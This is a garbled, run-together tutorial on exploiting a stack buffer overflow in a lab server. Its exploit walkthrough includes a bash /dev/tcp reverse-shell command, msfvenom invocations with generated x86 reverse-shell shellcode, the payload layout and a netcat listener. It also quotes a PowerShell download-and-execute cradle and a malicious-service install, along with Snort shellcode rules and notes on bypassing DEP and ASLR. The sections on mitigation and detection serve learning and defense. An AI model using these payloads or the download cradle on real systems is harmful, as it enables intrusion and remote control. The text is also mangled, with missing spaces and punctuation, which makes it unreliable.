If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

